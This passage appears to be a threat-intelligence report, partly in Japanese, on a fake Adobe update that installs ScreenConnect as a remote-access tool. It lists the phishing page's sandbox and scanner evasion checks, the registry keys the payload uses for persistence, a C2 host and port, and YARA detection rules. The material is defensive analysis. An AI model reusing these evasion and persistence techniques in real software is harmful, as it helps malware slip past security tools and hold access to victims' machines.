  Favicon:            https://www.google.com/favicon.ico (hotlinked from Google)
  Address-bar rewrite: history.replaceState to a fake googleadservices click URL
                       on www.googleadservices.com.secure-web.cisco.com.<domain>
  Recipient email:    passed in the URL fragment, decoded as plaintext/hex/base64url
  Timings:            ARM_MS=900, HOLD_MS_TARGET=1800 (hold also carried in token)
  Automation markers:
    navigator flag: navigator.webdriver
    document prefixes: $cdc_, $wdc_, __webdriver, __selenium, __driver
    globals: cdc_adoQpoasnfa76pfcZLmcfl_Array,
             cdc_adoQpoasnfa76pfcZLmcfl_Window,
             __lastWatirAlert, __webdriver_unwrapped
    Chrome DevTools Protocol probe: getter on Error.stack
  User-agent denylist:
    Email security: proofpoint, ppurldpf, urldefense, urlprotect, safelinks,
                    mimecast, barracuda, fireeye, trellix, mandiant, ironport,
                    sophos, fortinet, trendmicro, symantec, zscaler, netskope
    Sandboxes: virustotal, urlscan, hybrid-analysis, joe sandbox, cuckoo,
               any.run, cape sandbox, filescan, threat analyzer
    Automation: headlesschrome, puppeteer, playwright, phantomjs, crawler,
                spider, scanner, probe, sitecheck
    HTTP clients: curl/, wget/, python-requests, go-http-client, axios/,
                  scrapy, httpx
Persistence:
  Registry (dropper):  HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SmartScreenEnabled = Off
  Registry (dropper):  HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AdobeUpdateService
  Registry (payload):  SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ScreenConnect Client (5bab5a88e37ba90e)
  Registry (payload):  SYSTEM\CurrentControlSet\Control\Lsa
                       Authentication Packages += ScreenConnect.WindowsAuthenticationPackage.dll
  Registry (payload):  Software\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{6FF59A85-BC37-4CD4-AA13-7B50E75AC37A}
  Registry (payload):  CLSID\{6FF59A85-BC37-4CD4-AA13-7B50E75AC37A}\InprocServer32
                       -> ScreenConnect.WindowsCredentialProvider.dll
  Registry (payload):  HKCR\sc-5bab5a88e37ba90e (custom URL protocol handler)
Filesystem:
  %TEMP%\AdobeUpdate.msi   (deleted after silent install)

rule FakeUpdate_ScreenConnect_VBS_Downloader {
    meta:
        description = "VBScript downloader masquerading as Adobe Reader Installer; disables SmartScreen and silently installs a ScreenConnect payload"
        author      = "Beelzebub Research"
        date        = "2026-08-13"
        reference   = "https://beelzebub.ai/blog/fake-update-screenconnect-email-security-spoofing"
    strings:
        $s1 = "AdobeUpdateService" ascii
        $s2 = "SmartScreenEnabled" ascii
        $s3 = "MSXML2.XMLHTTP" ascii
        $s4 = "msiexec" ascii nocase
        $s5 = "On Error Resume Next" ascii
        $s6 = "ScreenConnect.ClientSetup.msi" ascii
    condition:
        4 of them
}
rule ScreenConnect_Abused_RAT_Config {
    meta:
        description = "Detects ScreenConnect client config repurposed as a RAT via non-official relay host"
        author      = "Beelzebub Research"
        date        = "2026-08-13"
        reference   = "https://beelzebub.ai/blog/fake-update-screenconnect-email-security-spoofing"
    strings:
        $host = "h=sancaktextile.com" ascii
        $port = "p=8041" ascii
        $sc   = "ScreenConnect.WindowsBackstageShell.exe" ascii
    condition:
        $sc and ($host or $port)
}

結論

このキャンペーンは、単一の説得力ある偽装に頼っているわけではありません。むしろ、借用した信頼を連ねたリレーを構築しています。ホスト名にはCiscoとProofpoint、CAPTCHAにはGoogle、アップデートの指示にはAdobe、ステージング用URLにはAmazon、そしてインストールされるバイナリにはConnectWiseです。こうしたなじみのある名前の一つひとつが、被害者が次に抱く疑念に答えていく一方で、本当に重要なドメインと、意図を暴く唯一の設定情報は見過ごされやすいままになっています。

だからこそ、粗雑なAdobeページの存在は矛盾ではありません。運用者は、適切な訪問者にたどり着くこと、解析システムを排除すること、そして実行後もリモートアクセスを維持することに労力を注いできました。中間にある画面が果たすべき役割は、あらかじめ選定された人物をダウンロードからダブルクリックへと導くことだけです。その最も効果的な一文は、偽のロゴなどではなく「プロンプトが表示されたらはいをクリック」という指示です。この一文が、想定されるWindowsの警告を、指示どおりに事が進んでいることの証拠へとすり替えてしまうのです。

分析時点で、いずれのドメイン、ファイルハッシュ、RSA鍵も公開文書には記録されていませんでした。フェイクアップデートや悪用されたRMMツールは、よく知られたカテゴリです。しかし、このインフラと、これらのカテゴリを1つのチェーンへと組み合わせる手法は、これまで知られていないものでした。

Caronteがこの調査を可能にした理由

この調査で人手による介入が必要だったのは、正確に1か所だけでした。どの箇所がそれに当たるかを特定することは、こうしたキャンペーンがどのように存続し続けているのかを物語っています。

CAPTCHAゲートは自動化された取得を防ぐために設計されており、実際にその目的を果たしています。URLだけでは不十分で、これらのサブドメインのいずれかをどの解析プラットフォームに提出しても、偽装された応答、すなわち本物のProofpointのウェブサイトが返ってきます。チャレンジを突破し、ペイロードのURLが見えるまで誘導ページをたどるには、人間の操作者が必要であり、どれだけ自動化を進めてもこの制約を取り除くことはできません。

ただし、このゲートが守っているのは発見の段階であって、ペイロードそのものではありません。一度だけ手動でこの経路を通過し、ステージング用URLが露出してしまえば、それ以降のチェーンはすべて公然とアクセス可能でした。両方のS3の格納先はいずれも、チャレンジや偽装もないまま、通常のリクエストに対して200 OKを返します。本稿執筆時点でも、その状態は続いています。

その先の処理はすべて自動化されていました。CaronteはこのVBScriptを処理し、その挙動と指標を抽出し、スクリプトに埋め込まれたダウンロードURLをたどってMSIを取得し、独立したリバースエンジニアリングのためにキューへ登録し、2つのサンプルを紐づけたうえで、生成された要約の中でsancaktextile.com:8041と埋め込まれたRSA鍵を報告しました。本レポートで公開したC2アドレスは、狙いを定めた検索によって得られたものではなく、自動解析の過程で浮かび上がってきたものです。

多くの脅威インテリジェンス業務における制約は、分析上の判断力そのものではなく、その判断力を発揮できる段階に到達するまでにかかる時間です。Caronteはその所要時間を数時間から数分へと短縮します。ただし、このキャンペーンが要求するように設計された、たった一度の人間による関与そのものを取り除くわけではありません。

Caronteの仕組みについて詳しく知る